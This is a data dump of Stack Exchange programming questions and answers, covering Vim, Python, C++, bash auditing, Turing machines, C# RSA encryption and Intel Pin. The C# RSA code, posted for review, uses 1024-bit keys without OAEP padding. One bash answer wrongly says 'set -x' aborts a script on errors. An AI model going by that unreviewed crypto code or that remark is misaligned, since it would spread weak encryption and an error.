, "tags": "terminal;statusline;plugin vim airline"  , "accepted_answer": "I solved the first two problems by putting the set t_Co=256 in my .vimrc and solved the missing upper bar problem by putting this in my .vimrc.let g:airline#extensions#tabline#enabled = 1 Show just the filenamelet g:airline#extensions#tabline#fnamemod = ':t'"  } 
{  "id": "_codereview.31007"  , "question": "I'm working on a project for an Intro to C/Python class and am looking to improve the efficiency of the program. The program is a lottery simulation where the user inputs the number of tickets they want to buy, then generates tickets, and finally outputs the total winnings and net gain (usually loss). This is my code (in Python, as required):def main():    numb_tickets = int(input(How many tickets would you like to buy?\\n))    #Calculate Winnings    winnings = 0    for i in range(numb_tickets):        #For testing only, gives feedback progress of program        print(i,     ,winnings)        #Creating winning ticket/your ticket, find number of matches        win_tic = getRandomTicket(MAX_VALUE, TIX_SIZE)        my_tic = getRandomTicket(MAX_VALUE, TIX_SIZE)        numb_win = numMatches(win_tic, my_tic)        #Add appropriate payout for number of matches        if numb_win == 6:            winnings += WIN_SIX        elif numb_win == 5:            winnings += WIN_FIVE        elif numb_win == 4:            winnings += WIN_FOUR        elif numb_win == 3:            winnings += WIN_THREE         #Calculate cost of purchasing tickets    cost_tics = numb_tickets * COST_TIC    if winnings >= cost_tics:        profit = winnings - cost_tics        print(You won $,winnings,, for a net earnings of $,profit,., sep=)    elif winnings < cost_tics:        loss = cost_tics - winnings        print(You won $,winnings,, for a net loss of $,loss,., sep=)    main()Note: the getRandomTicket() and numMatches() functions were provided by the professor to generate a lottery ticket and check the number of matches it has, respectively.My program works fine for smaller numbers of tickets, but when testing the required 1,000,000 tickets, takes a massive amount of time. It makes sense that the time increases rapidly as the range of the loop increases, but I don't know of a better way to loop this yet. Any input or suggestions are greatly appreciated."  , "title": "Improving Lottery Simulation"  , "tags": "python;performance;simulation"  } 
{  "id": "_codereview.4043"  , "question": "There's another exercise from Thinking in C++. This time it asks this:Write a program that uses two nested for loops and the   modulus operator (%) to detect and print prime numbers   (integral numbers that are not evenly divisible by any   other numbers except for themselves and 1).And this is what I think:// finds all prime numbers between 2 and a number given in input.#include <iostream>using namespace std;int main(int argc, char* argv[]) {    cout << How many prime numbers do you want to print? ;    int n;    cin >> n;    int i, j;    bool flag = true;    for(i = 2; i <= n; i++) {        for(j = 2; j <= i; j++) {            if((i % j) == 0) {                if(i == j)                    flag = true;                else {                    flag = false;                    break;                }            }        }        if(flag)            cout << Prime:  << i << endl;    }}It works perfectly, but I'd know what do you think about. Thanks for the feedback! "  , "title": "Prime number finder"  , "tags": "c++;primes"  , "accepted_answer": "Forgive me, I'm a C# developer, I like descriptive terms :)As Alexandre mentioned, the sqrt is key to minimize computations. Great heuristic. Another heuristic you can use is every other number will not be prime, as it will be divisible by 2. Then to expand on this heuristic, you can say that no odd numbers are divisible by even numbers and therefore may skip every other number as your divisible test number.for(int mightBePrime = 3; mightBePrime <= upperLimitToCheck; mightBePrime += 2){  bool foundAPrime = true;  for(int divisorToCheckPrime = 3; divisorToCheckPrime * divisorToCheckPrime <= mightBePrime ; divisorToCheckPrime += 2)  {    if(mightBePrime % divisorToCheckPrime == 0)    {      foundAPrime = false;      break;    }  }}"  } 
{  "id": "_softwareengineering.158853"  , "question": "I was reading about Assemblies (modules, which Microsoft CLR works with). The Assembly contains so called Manifest, which by definition describes a set of files in the Assembly.I know that Android applications also contain a file called Manifest, which also describes a set of files contained in the application.Is this simply a coincidence? Or are there some commonly accepted rules in software development to name special files?"  , "title": "Coincidence or rule?"  , "tags": "terminology;android;naming;clr"  , "accepted_answer": "So you can mark this one as answered, these three comments accurately summarize things:Baqueta's comment:I'm pretty sure the terminology comes from the term shipping manifest, which wikipedia describes as: Manifest, a document listing the cargo, passengers, and crew of a ship, aircraft, or vehicle, for the use of customs and other officials.Joachim Sauer's comment:As far as I know Java was the first one to call it manifest (at least of the three that where mentioned). And since it's a fitting name (similar to a shipping manifest, it describes the content of a package), others just used the same term for similar files.MattDavey's comment:It's neither a coincidence nor a rule, just a good descriptive word to capture a concept.It's the same reason words like 'factory', 'facade', 'token', 'agent' are ubiquitous in software development. "  } 
{  "id": "_webmaster.4930"  , "question": "I'm currently building a website, and the specifications, which I am asked to look at with a critical eye, say that I should use url like these for a store locator page:www.mysite.com/store.html <--this page is a store listingwww.mysite.com/store/paris.html <-- this is a page for the store in ParisI think I should drop the .html part, but I am less sure about whether I should use plural for the first url (I mean www.mysite.com/stores instead of www.mysite.com/store ).Could you please advise?"  , "title": "Should I use plural or singular parts for my url when on a listing page"  , "tags": "seo"  , "accepted_answer": "I understand you wanna make friendly URLs. This is good.My preferred approach is face a website like a directories structure. This gives more semantic, and makes easier to power users to predict listing directories.In your case:www.mysite.com/              #rootwww.mysite.com/stores/       #stores listingwww.mysite.com/stores/paris  #paris store detailsNote the predictable structure. Trailing slash let people and crawlers understand that it threats about a directory root.Power users that land in paris store for example, can be tempted to just delete paris from URL and expect to see the parent list or something like that (they tend to face URLs as breadcrumbs). This is why I think this approach is the more interesting.It also makes easier to code and make distribution (sitemaps) IMHO."  } 
{  "id": "_webmaster.61148"  , "question": "I want to block search engines from crawling my websites. Atleast for Msn, Yahoo, Google, and Yandex. i dont really trust robot.txt. Because they can simply ignore it and continue crawling.I would use rails as my web framework.How can i do it, atleast to decrease the posibility destructive action they do by simply crawling a specific page.Is there any special mark or identifier on them while they are crawling a site ?This question marked as duplicate withRobots denied by domain is still listed in search resultsWich is i guess a mistake. Above questions is asking specifically why. I dont really care why google crawling my site. I just want to block it. Show 404 status."  , "title": "How to force search engines not to crawl my site, is there any special mark on them?"  , "tags": "search engines;web crawlers"  } 
{  "id": "_codereview.156088"  , "question": "I have created a script to check for failed logins and then trawl User .bash_history for keywords. There is also processing on the .bash_history files to convert epoch to human-readable timestamps.I've run my script through shellcheck.net and the only real thing that it's complaining about are my For loops. It's saying they should be while loops instead, and I'm struggling to convert them.Here's the script in its entirety:#! /bin/bash#printf \\necho -e \\e[93m*** Failed Login Checker ***\\e[0msleep 2grep -E 'Failed password|invalid' /var/log/secure* | grep sshd\\[ | uniqread -r -p Press [Enter] key to continue...printf \\necho -e \\e[93m*** BASH History Checker - script initiated ***\\e[0msleep 2HOLDINGDIR=/root/check_historyif [ ! -d $HOLDINGDIR ];then        mkdir $HOLDINGDIRfifor i in $( find /home -name .bash_history -type f );do        cp $i $HOLDINGDIR/$( ls -la $i | awk '{print$3}' )_historydoneecho -e \\e[93mAll BASH History files copied - now processing date format...\\e[0mfor k in $( find $HOLDINGDIR -name '*_history' -type f );do        echo Processing file:  $k        sed -i -E 's/^#([0-9]+).*$/date -d @\\1/e' $k        chmod 755 $kdoneprintf \\necho -e \\e[93mAll BASH History files timestamps converted\\e[0mprintf \\nread -r -e -p Enter search term:  -i sudo su searchecho You typed:  $searchsleep 3printf \\nfor m in $( find $HOLDINGDIR -name '*_history' -type f );do        printf \\n        FILENAME=$m        echo -----------------------------------------------------------        echo History file for:  $FILENAME | awk -F/ '{print$4}'        echo -----------------------------------------------------------        grep -F -B1 -i $search $m        read -r -p Press [Enter] key for next file...done"  , "title": "Script to check for failed logins and then trawl users' .bash_history for keywords"  , "tags": "beginner;bash"  , "accepted_answer": "Don't embed terminal escapes in your stringsYou don't know what terminal will be displaying your output - or even whether output will be going to a terminal.  The standard tool to get the appropriate strings (if they exist) is tput.  You'll want something like:sgr0=$(tput sgr0)sgr93=$(tput sgr 93)which you can then use in your stringsecho -e isn't portableSince you're using printf, you can conveniently use that when you don't want a newline:printf \\n%s $sgr93*** Failed Login Checker ***$sgr0Pointless sleepingsleep 2read -r -p Press [Enter] key to continue...These server only two purposes - annoy the user, and make it harder to use in a pipeline.Unquoted variable expansionAlthough the value you've given $HOLDINGDIR is currently safe to expand without quotes, I recommend you quote its expansion anyway, to give you the freedom to change it later (for example, you might want its value to incorporate $HOME instead of hard-coding /root).No check that mkdir succeededIf $HOLDINGDIR already exists as a regular file, or its parent directory doesn't exist or can't be written, then it won't be created, and we don't check that it succeeded.  The easy way to deal with this is to make any failed command abort the script:set -xUnbounded findDo you really mean to search recursively for .bash_history files?  It probably makes more sense to look in each user's home directory only.  And not all home directories are necessarily under /home.  I'd be more inclined to iterate over awk -F: '{ print $6 /.bash_history }' /etc/passwd instead:awk -F: '{ print $1, $6 /.bash_history }' /etc/passwd \\ | while read u f   do if test -e $f      then cp -v $f $HOLDINGDIR/${u}_history      fi   doneReplace copy+edit with a pipelineYou copy files and then process them with sed.  It's much better to simply have sed take its input from the original file and send its output to the new file, so instead of the cp above we can just:sed -e 's/^#([0-9]+).*$/date -d @\\1/e' $f >$HOLDINGDIR/${u}_historyand remove the following for loop.And drop the chmod 755: you don't really want to make the transformed history files executable and readable by everybody.Interactive reading of search termread -r -e -p Enter search term:  -i sudo su searchAgain, this makes it hard to run from anything other than a terminal.  And if you mistype it, you have to start right from the beginning, seeking out all the history files again.  Instead, you could provide the terms as positional arguments, then you canfor search in $@do grep -FiH -B1 $search $HOLDINGDIR/*_historydoneEven better, you could search for all the search terms together, remembering that grep -F accepts a newline-separated list of search terms:grep -FiH -B1 $(printf '%s\\n' $@) $HOLDINGDIR/*_historyModified program#!/bin/bashset -eif [ $# = 0 ]then    echo No search terms specified! >&2    exit 1fiHOLDINGDIR=/root/check_historytest -d $HOLDINGDIR || mkdir $HOLDINGDIRawk -F: '{ print $1, $6 /.bash_history }' /etc/passwd \\ | while read u f   do if test -e $f      then sed -e 's/^#([0-9]+).*$/date -d @\\1 +#%c/e' $f >$HOLDINGDIR/${u}_history      fi   donegrep -FiH -B1 $(printf '%s\\n' $@) $HOLDINGDIR/*_history"  } 
{  "id": "_cs.77810"  , "question": "I want to construct a 2-tape Turing Machine, which decides in linear time if the input string over $\\Sigma^* := \\{(, [, ], )\\}$ is a valid bracket.I have not constructed too many TM's yet, this is why I need your help."  , "title": "construct a TM decides in linear time, if valid bracket"  , "tags": "turing machines;decision problem"  , "accepted_answer": "If you are not allowed to use two or more tapes then as Yuval Filmus commented you cannot solve in linear time. Otherwise you can convert the following steps into TM instructions: Initially input on the tape 1, the tape 2 is empty.  Machine reads input symbols stored on the tape 1, and tape 2 is used as stack (for push/pop operations).  1)  x = Read a symbol. 2)  If x is '[' or '(' Then 3)    push x and go to 1) 4)  Else If x is ')' Then 5)    sym = pop()  6)    If sym != '(' Then  7)       Reject and Halt. 8)    Else 9)       go to 1)  10) Else If x is ']' Then 11    sym = pop() 12)   If sym != '[' Then  13)      Reject and Halt. 14)   Else 15)      go to 1)  16) Else If x is '$' Then (if end of input) 17)   If stack is empty Then 18)      Accept and Halt 19)   Else 20)      Reject and Halt 21) Else   22)   Reject and HaltI think translation to a TM of this piece of code is quite tedious work. In computability theory if you want to prove existence of a TM then informal description (or just description using one of the high-level programming languages) is enough. You may use a single tape TM model or multitape model. However, when dealing with time complexity selection of a model matters.   "  } 
{  "id": "_unix.224999"  , "question": "I am trying to build GTK+ using JHBuild. I ran into the following error:checking for GTK... noconfigure: error: Package requirements (gtk+-3.0 >= 3.12 gtk+-x11-3.0 >= 3.12) were not met:Requested 'gtk+-3.0 >= 3.12' but version of GTK+ is 3.10.8Requested 'gtk+-x11-3.0 >= 3.12' but version of GTK+ is 3.10.8Consider adjusting the PKG_CONFIG_PATH environment variable if youinstalled software in a non-standard prefix.Alternatively, you may set the environment variables GTK_CFLAGSand GTK_LIBS to avoid the need to call pkg-config.See the pkg-config man page for more details.*** Error during phase configure of gcr: ########## Error running ./configure --prefix /home/xiaolong/jhbuild/releases/gnome-apps-3.17.90/install  --disable-static --disable-gtk-doc --disable-Werror  *** [15/29]I am confused now. I want to build GTK+, so I need GTK+?! Why? Shouldn't that be independent from each other?  How do I fix the issue?The command I used to start the build process:jhbuild -m ~/jhbuild/gnome-apps-3.17.90.modules build gtk+(I had to tell jhbuild where it could find the modules, since I couldn't find any documentation about where the modules directory is supposed to be and no directory I tried to put the modules in worked - it never found them, if I didn't specify.)"  , "title": "Why do I need GTK+ to build GTK+? And how to fix it"  , "tags": "compiling;gtk;gtk3"  } 
{  "id": "_codereview.92761"  , "question": "Based on this: asymmetric encryption in C#I added some more functionality to make it even easier to use (I combined the keySize and the keys into one base64 string).My requirements are:I want a public and private string key A simple method to call to encrypt or decrypt another string.This works, and the following test case returns that all is good.[TestMethod]public void EncryptionRSATest(){    int keySize = 1024;       var keys = EncryptorRSA.GenerateKeys(keySize);    string text = text for encryption;    string encrypted = EncryptorRSA.EncryptText(text, keys.PublicKey);    string decrypted = EncryptorRSA.DecryptText(encrypted, keys.PrivateKey);    Assert.IsTrue(text == decrypted);}So..Can anyone help make it even better? Are there any major flaws in this that makes it really easy to decrypt?Is it a horrible idea to add the keySize to the key?This is the class:using System;using System.Web;using System.Text;using System.Linq;using System.Collections.Generic;using System.Security.Cryptography;namespace JensB.Encryption{    [Serializable]    public class EncryptorRSAKeys    {        public string PublicKey { get; set; }        public string PrivateKey { get; set; }    }    public static class EncryptorRSA    {        private static bool _optimalAsymmetricEncryptionPadding = false;        public static EncryptorRSAKeys GenerateKeys(int keySize)        {            if (keySize % 2 != 0 || keySize < 512)                throw new Exception(Key should be multiple of two and greater than 512.);            var response = new EncryptorRSAKeys();            using (var provider = new RSACryptoServiceProvider(keySize))            {                var publicKey = provider.ToXmlString(false);                var privateKey = provider.ToXmlString(true);                var publicKeyWithSize= IncludeKeyInEncryptionString(publicKey, keySize);                var privateKeyWithSize = IncludeKeyInEncryptionString(privateKey, keySize);                response.PublicKey = publicKeyWithSize;                response.PrivateKey = privateKeyWithSize;            }            return response;        }        public static string EncryptText(string text, string publicKey)        {            int keySize = 0;            string publicKeyXml = ;            GetKeyFromEncryptionString(publicKey, out keySize, out publicKeyXml);            var encrypted = Encrypt(Encoding.UTF8.GetBytes(text), keySize, publicKeyXml);            return Convert.ToBase64String(encrypted);        }        private static byte[] Encrypt(byte[] data, int keySize, string publicKeyXml)        {            if (data == null || data.Length == 0) throw new ArgumentException(Data are empty, data);            int maxLength = GetMaxDataLength(keySize);            if (data.Length > maxLength) throw new ArgumentException(String.Format(Maximum data length is {0}, maxLength), data);            if (!IsKeySizeValid(keySize)) throw new ArgumentException(Key size is not valid, keySize);            if (String.IsNullOrEmpty(publicKeyXml)) throw new ArgumentException(Key is null or empty, publicKeyXml);            using (var provider = new RSACryptoServiceProvider(keySize))            {                provider.FromXmlString(publicKeyXml);                return provider.Encrypt(data, _optimalAsymmetricEncryptionPadding);            }        }        public static string DecryptText(string text, string privateKey)        {            int keySize = 0;            string publicAndPrivateKeyXml = ;            GetKeyFromEncryptionString(privateKey, out keySize, out publicAndPrivateKeyXml);            var decrypted = Decrypt(Convert.FromBase64String(text), keySize, publicAndPrivateKeyXml);            return Encoding.UTF8.GetString(decrypted);        }        private static byte[] Decrypt(byte[] data, int keySize, string publicAndPrivateKeyXml)        {            if (data == null || data.Length == 0) throw new ArgumentException(Data are empty, data);            if (!IsKeySizeValid(keySize)) throw new ArgumentException(Key size is not valid, keySize);            if (String.IsNullOrEmpty(publicAndPrivateKeyXml)) throw new ArgumentException(Key is null or empty, publicAndPrivateKeyXml);            using (var provider = new RSACryptoServiceProvider(keySize))            {                provider.FromXmlString(publicAndPrivateKeyXml);                return provider.Decrypt(data, _optimalAsymmetricEncryptionPadding);            }        }        public static int GetMaxDataLength(int keySize)        {            if (_optimalAsymmetricEncryptionPadding)            {                return ((keySize - 384) / 8) + 7;            }            return ((keySize - 384) / 8) + 37;        }        public static bool IsKeySizeValid(int keySize)        {            return keySize >= 384 &&                    keySize <= 16384 &&                    keySize % 8 == 0;        }        private static string IncludeKeyInEncryptionString(string publicKey, int keySize)        {            return Convert.ToBase64String(Encoding.UTF8.GetBytes( keySize.ToString() + ! + publicKey));        }        private static void GetKeyFromEncryptionString(string rawkey, out int keySize, out string xmlKey)        {            keySize = 0;            xmlKey = ;            if (rawkey != null && rawkey.Length > 0)            {                byte[] keyBytes = Convert.FromBase64String(rawkey);                var stringKey = Encoding.UTF8.GetString(keyBytes);                if (stringKey.Contains(!))                {                    var splittedValues = stringKey.Split(new char[] { '!' }, 2);                    try                    {                        keySize = int.Parse(splittedValues[0]);                        xmlKey = splittedValues[1];                    }                    catch (Exception e) { }                }            }        }    }}"  , "title": "Very simple asymmetric RSA encryption in C#"  , "tags": "c#;security;cryptography"  } 
{  "id": "_reverseengineering.12404"  , "question": "A typical PIN code snippet looks like this (taken from the official manual):// This function is called before every instruction is executed// and prints the IPVOID printip(VOID *ip) { fprintf(trace, %p\\n, ip); }// Pin calls this function every time a new instruction is encounteredVOID Instruction(INS ins, VOID *v){    // Insert a call to printip before every instruction, and pass it the IP    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)printip, IARG_INST_PTR, IARG_END);}I just can't figure out how to access the ins object from within printip(VOID *p). The other way round seems easy, i.e. getting the IP from from the ins object:INS_Address (INS ins)(see here)I tried passing a INS *ins pointer to printip(VOID *ip, INS *ins) ins via IARG_PTR, &ins but this ended in either casting errors or Segmentation faults.How can I access the ins object (type INS) from inside an analysis function?Side note: I got to this problem when trying to call INS_Disassemble (INS ins) for every executed instruction."  , "title": "Intel PIN: How to access the INS object from inside an analysis function?"  , "tags": "c++;pintool"  , "accepted_answer": "You may note that printip is a function pointer, it is lazily called internally by Pin; moreover ins is an automatic variable (it is passed into Instruction from the stack). Consequently, passing &ins into printip (through IARG_PTR), then using it will lead to segmentation faults.Pin declares INS by specializing the class template INDEX, as you can observe the following declaration in type_core.TLH:/*! @ingroup INS_BASIC_APIHandle for INS */  typedef class INDEX<6> INS;where constructors and assignment operators of class template INDEX are both default. So, in principle^^, we can always declare a persistent variable to share an object of INS between instrumentation and analysis functions, for example:static INS per_ins;...VOID Instruction(INS ins, VOID *v){  per_ins = ins;  ...}...VOID printip(VOID *ip){  INS_Disassemble(per_ins);}This method does not work, unfortunately, this is an example for well-typed program still can go wrong in C/C++^^. Since Pin does not guarantee that internal variables, accessed by an object of type INS, are persistent in analysis time, the result of calling INS_Disassemble(per_ins) in an analysis function can be meaningless.For your case, you may not want to call INS_Disassemble(ins) each time ins executes. We don't need that, for example, if ins is in a loop then this function will be called multiple times (with the same ins) to get the same result.All static information of an instruction (e.g. the disassembled form of ins in this case) should be obtained in instrumentation time. Particularly, INS_Disassemble should be called single time only in some instrumentation function. One way to obtain the same effect as you want is:static std::unordered_map<ADDRINT, std::string> str_of_ins_at;VOID Instruction(INS ins, VOID *v){  str_of_ins_at[INS_Address(ins)] = INS_Disassemble(ins);  ...}VOID printip(VOID *ip, ADDRINT addr) {  std::string ins_str = str_of_ins_at[addr];  ...}"  } 
{  "id": "_webapps.65771"  , "question": "At the beginning of this week, I noticed that I can no longer properly copy and paste into or out of a Google Document. I find that if I highlight more than one paragraph and press Edit / Copy or ctrl /  + c, it will not copy. Even when I select only one paragraph, it still will not copy.The only way I can get it to copy is when I leave off the first character in the paragraph, the last character in the paragraph, or both. Then I have to copy paragraph-by-paragraph out of the Google Doc.I've tried this on two different machines, both running Firefox. Does this happen for anyone else, and if so do you have a fix?"  , "title": "How do I fix copy/paste in Google Documents?"  , "tags": "google documents;copy paste"  } 
{  "id": "_vi.9978"  , "question": "Inspired by Drew NEIL's course and the 'nested-folding' feature for Markdown files, I've installed the Vim-Markdown-Folding plugin, on my Vim (:version). The GitHub directory was copied into the ~/.vim/bundle directory (as required by the pathogen plugin) with:$ git clone https://github.com/msprev/vim-markdown-folding.gitThen I added the required let g:markdown_fold_style = 'nested'line into my .vimrc-file as described in the :help markdown-folding-configuration file and got this wired error:Error detected while processing BufEnter Auto commands for <buffer=1>:E117: Unknown function: mdfolding#foldtextupdatewhen opening, saving, or even jumping into the (Vim-)window of any markdown file. Otherwise everything seems to work fine. However, every time the error occurs I have to confirm the reading and I really would like to settle any other potential complications."  , "title": "Vim-Markdown-Folding plugin error BufEnter E117"  , "tags": "vimrc;folding;error;filetype markdown;plugin pathogen"  , "accepted_answer": "A bit of investigationAfter finding the function in source file, with these lines preceding it:if !has('python')    echo Error: Required vim compiled with +python    finishendifAnd installing the plugin (my Vim is built without python), I can easily get the same error:Error detected while processing BufEnter Auto commands for <buffer=1>:E117: Unknown function: mdfolding#foldtextupdateSo :echo has('python') probably returns 0 for you, because your Vim either doesn't have python support at all or has only python3 support.By the way, the authors of the plugins should use :echoerr for such cases, or users might ignore important error messages.Plugin versionPlease do keep in mind that you did not install the original version of the plugin. What you installed is actually a fork of Drew Neil's plugin -- it seems to try to optimize performance of folding, but also requires Vim with python support.You can:use original version of the plugin, which doesn't require python (your link to documentation points to this repository, actually):git clone https://github.com/nelstrom/vim-markdown-folding.gitchange your Vim setup (if you really need this plugin)report upstream about the issue, maybe fixing it requires only adding check for python3 feature (e.g., if !has('python') && !has('python3')), the author should know better anyway"  } 
{  "id": "_datascience.6986"  , "question": "I found the following article on Hierarchical Clustering With Prototypesvia Minimax Linkage.It is stated in Property 6 that Minimax linkage cannot be written using LanceWilliams updates.A succint proof using a counter-example is given:Proof. Figure 9 shows a simple one-dimensional example that could not  arise if minimax linkage followed Lance Williams updates. The upper  and lower panels show two configurations of points for which the  right side of (4) is identical but the left side differs; in  particular, $d(G_1 \\cup G_2,H) = 9$ for the upper panel, whereas  $d(G_1 \\cup G_2,H) = 8$ for the lower panel.But I do not understand their proof. For both cases (upper and lower panels), $d(G_1,H) = 16$, $d(G_2,H) = 7$, $d(G_1,G_2) = 5$.I cannot see any reasons that $\\alpha(G_2)$ in the first case must equal to $\\alpha(G_2)$ in the second case as, for instance, $G_2$ has not the same cardinal."  , "title": "Is Minimax Linkage a Lance-Williams hierarchical clustering?"  , "tags": "machine learning;clustering;algorithms"  } 
{  "id": "_cs.57644"  , "question": "I have to find the time complexity of the following program:function(int n){    for(int i=0;i<n;i++)                   //O(n) times        for(int j=i;j<i*i;j++)             //O(n^2) times            if(j%i==0)            {  //O(n) times                for(int k=0;k<j;k++)       //O(n^2) times                    printf(8);            }}I analysed this function as follows:i : O(n)  : 1        2        3          4             5j :       : 1        2..3     3..8       4..15         5..24           (values taken by j)    O(n^2): 1        2        6          12            20              (Number of times executed)j%i==0    : 1        2        3,6        4,8,12        5,10,15,20      (Values for which the condition is true)    O(n)  : 1        1        2          3             4k         : 1        2        3,6        4,8,12        5,10,15,20      (Number of times printf is executed)    Total : 1        2        9          24            50              (Total)However I am unable to bring about any conclusions since I don't find any correlation between $i$ which is essentially $O(n)$ and Total of k (last line). In fact I don't understand if we should be looking at the time complexity in terms of number of times printf is executed since that will neglect $O(n^2)$ execution of j-for loop. The answer given was $O(n^5)$ which I presume is wrong but then whats correct?"  , "title": "Time complexity of nested for loop function involving mod to filter out the execution"  , "tags": "algorithm analysis;runtime analysis;loops"  } 
{  "id": "_unix.309696"  , "question": "Sometimes when I try to suspend my laptop (using the sleep keyboard button), I get this popup from xfce4-power-manager: Are you sure you want to hibernate the system? An application is currently disabling the automatic sleep. Doing this action now may damage the working state of this application.  I don't want to hibernate - I would like to know which application is disabling sleep, so that I can quit it and suspend the system normally.  How can I find this out?I'm on Xubuntu 15.10."  , "title": "How do I find out which application is disabling sleep?"  , "tags": "xfce;power management;suspend;sleep"  , "accepted_answer": "Under Freedesktop-compliant environments, including XFCE4, sleep inhibition is communicated via D-Bus on the org.freedesktop.PowerManagement bus. I can't find any documentation about this; the xfce4 code has a list of methods which includes one called GetInhibitors so this should work:dbus-send --print-reply --dest=org.freedesktop.PowerManagement /org/freedesktop/PowerManagement/Inhibit org.freedesktop.PowerManagement.Inhibit.GetInhibitors"  } 
{  "id": "_unix.164314"  , "question": "When using the nemo file browser in icon mode (compact view) the scroll turns to horizontal rather than vertical.  For me this is very hard to work with.  If the files are in list mode you can scroll vertical to see the next list of files.  Hopefully there is a setting to allow this same type of scrolling in the alternate view.I have spent a lot of time in all the setting options and searching the Internet.Hopefully someone with experience can give me the setting option, or advise me that it doesn't exist and I can stop searching."  , "title": "How to disable nemo's horizontal scroll"  , "tags": "scrolling;nemo"  , "accepted_answer": "I happen to be using nemo, and took a quick glance at nemo's settings and nemo's settings in dconf editor.There doesn't appear to be anything about changing the type of scrolling for compact view, so perhaps it was designed that way without an option to change it.I would say if you've already spent at least 30 minutes searching, it would probably be better to just keep to list view and save yourself the headache of searching any longer. Possibly request this feature as well?"  } 
{  "id": "_softwareengineering.345456"  , "question": "I know the purpose of it and everything. I see myself as a solo developer for a couple more years.I always see answers that it is contract. Yes I get it.But here's something on my mind:If a class did not provide what an Interface wants, it'll throw an error.Well, if a class really needs that method, it'll throw an error still if there's something that calls it and it's not there right?What's the difference?I can just actually implement it and go along with the norms but that will leave me hanging with the question why. I don't like blindly following something without understanding it.EDIT:I tried searching for answers about this question many times before and what I always find is something like So when someone else.... Haven't tried working with someone else before and I am not sure if that really is the reason on why use an Interface.I mean, because I do everything my own so I do know what something in my code needs right? And again, even if I forget to implement a method, I will still see an error that says a method is not defined.EDIT 2:The Dependency Injection is a very good answer. Implementing Interfaces on those helps in case you need to swap out dependency implementations. You are somehow confident that what you need is provided.It is a little more clear to me now that it is a Contract between components (maybe between developers too)"  , "title": "Another Why use Abstract/Interface question. But I'm a solo developer. Why use it?"  , "tags": "object oriented;interfaces;abstract class"  } 
{  "id": "_softwareengineering.124976"  , "question": "ORMs and persistence ignorance make perfect sense: if I am programming in a language, then I want to use the language's native implementation of objects and data structures to drive my program. I shouldn't need to worry about SQL or a database, and I always thought that inline SQL strings in a program was very cumbersome.Why is SQL still used as a backend? Why doesn't the ORM just persist objects to XML or a binary file(s) and avoid all the overheads and difficulties of administering a database server?"  , "title": "Why are SQL databases still used with ORM?"  , "tags": "database;orm"  } 
{  "id": "_softwareengineering.40255"  , "question": "Recently I heard of a company that, for interviews, asks potential employees to stand up and write out code on a whiteboard. Apparently that freaked alot of interviewees out. This got me thinking and even though I consider myself a reasonable programmer, I would be hard pressed to write lengthy code out without referring to previous code I had written or doing a quick Google search. How many programmers could safely say Yes I could write all my code out just like I was writing an email?"  , "title": "How important is to be able to write code like you would write prose"  , "tags": "interview"  , "accepted_answer": "As an interviewer asking for white board coding, I wasn't looking for perfect syntax and I was asking questions about basic algorithms using arrays or strings.  I was looking for the kind of knowledge a college kid should have after watching a professor write code on a chalkboard.  Not that most professors do that any more, since they all use PowerPoint, but back in the day I promise they did.Whiteboarding code did seem to freak some of my interviewees out, but in that case I tended to try and talk them through it.  All I wanted to see was that they could write code.  Since my company didn't take code samples, and since I wasn't the hiring manager dictating how the interview went, this was my best bet for getting that information.  As an interviewee I was interviewed by a Very Big Company whose technical interviews are all whiteboard.  I had read on blogs and in articles that for this Very Big Company you had to start off with a moderately optimized answer as opposed to the brute force attack and you had to have perfect syntax.  The people writing this on the internet must have gotten the though interviewers and I must have gotten the easy ones, because my experience was that the whiteboard coding was viewed as a thinking tool in the interviews just as it would be in real brainstorming with your team.Perhaps there are interviewers out there who demand perfect and at least somewhat optimized code on the whiteboard as if it was flowing straight from your stream of consciousness.  Really, though, if a person is demanding such things do you want him or her as your co-worker?  If so, great.  If not, perhaps it isn't so bad if you can't write code like prose.I wouldn't freak out about writing code on a whiteboard in an interview, though.  Just do your best to solve the problem with the tools you have.  Interviewers like me are rooting for you to solve the problem as much as you are."  } 
{  "id": "_scicomp.4744"  , "question": "So the Cholesky decomposition theorem states that that any real symmetric positive-definite matrix $M$ has a Cholesky decomposition $M= LL^\\top$ where $L$ is a lower triangular matrix. Given $M$, we already know there are fast algorithms to calculate its Cholesky factor $L$.Now, suppose I was given a rectangular $m\\times n$ matrix $A$, and I knew that $A^\\top A$ was positive definite. Is there a way to calculate the Cholesky factor $L$ of $A^\\top A$ without computing $A^\\top A$ explicitly and then applying Cholesky factorization algorithms?If $A$ is a very large rectangular matrix performing $A^\\top A$ explicitly seems very expensive and hence the question."  , "title": "Computation of Cholesky factor"  , "tags": "linear algebra;algorithms"  , "accepted_answer": "Yes, you can obtain the factor (up to the signs of entries) using QR decomposition; see this answer. Note that if all you're interested in is solving the least squares problem that lead to the normal equations involving $A^T A$, you can use the QR decomposition directly."  } 
{  "id": "_unix.167668"  , "question": "A shebang (#!/bin/sh) is placed on the first line of a bash script, and it's usually followed on the second line by a comment describing what action the script performs. What if, for no particular reason, you decided to place the first command far beneath the shebang and the comment by, say, 10000 lines. Would that slow the execution of the script?"  , "title": "Distance of a command from a shebang?"  , "tags": "shell script;shebang"  , "accepted_answer": "To find out, I created two shell files. Each starts with a shebang line and ends with the sole command date.  long.sh has 10,000 comment lines while short.sh has none.  Here are the results:$ time short.sh Wed Nov 12 18:06:02 PST 2014real    0m0.007suser    0m0.000ssys     0m0.004s$ time long.shWed Nov 12 18:06:05 PST 2014real    0m0.013suser    0m0.004ssys     0m0.004sThe difference is non-zero but not enough for you to notice.Let's get more extreme.  I created very_long.sh with 1 million comment lines:$ time very_long.shWed Nov 12 18:14:45 PST 2014real    0m1.019suser    0m0.928ssys     0m0.088sThis has a noticeable delay.Conclusion10,000 comment lines has a small effect.  A million comment lines cause a significant delay.How to create long.sh and very_long.shTo create the script long.sh, I used the following awk command:echo date | awk 'BEGIN{print #!/bin/bash} {for (i=1;i<=10000;i++) print #,i} 1' >long.shTo create very_long.sh, I only needed to modify the above code slightly:echo date | awk 'BEGIN{print #!/bin/bash} {for (i=1;i<=1000000;i++) print #,i} 1' >very_long.sh"  } 
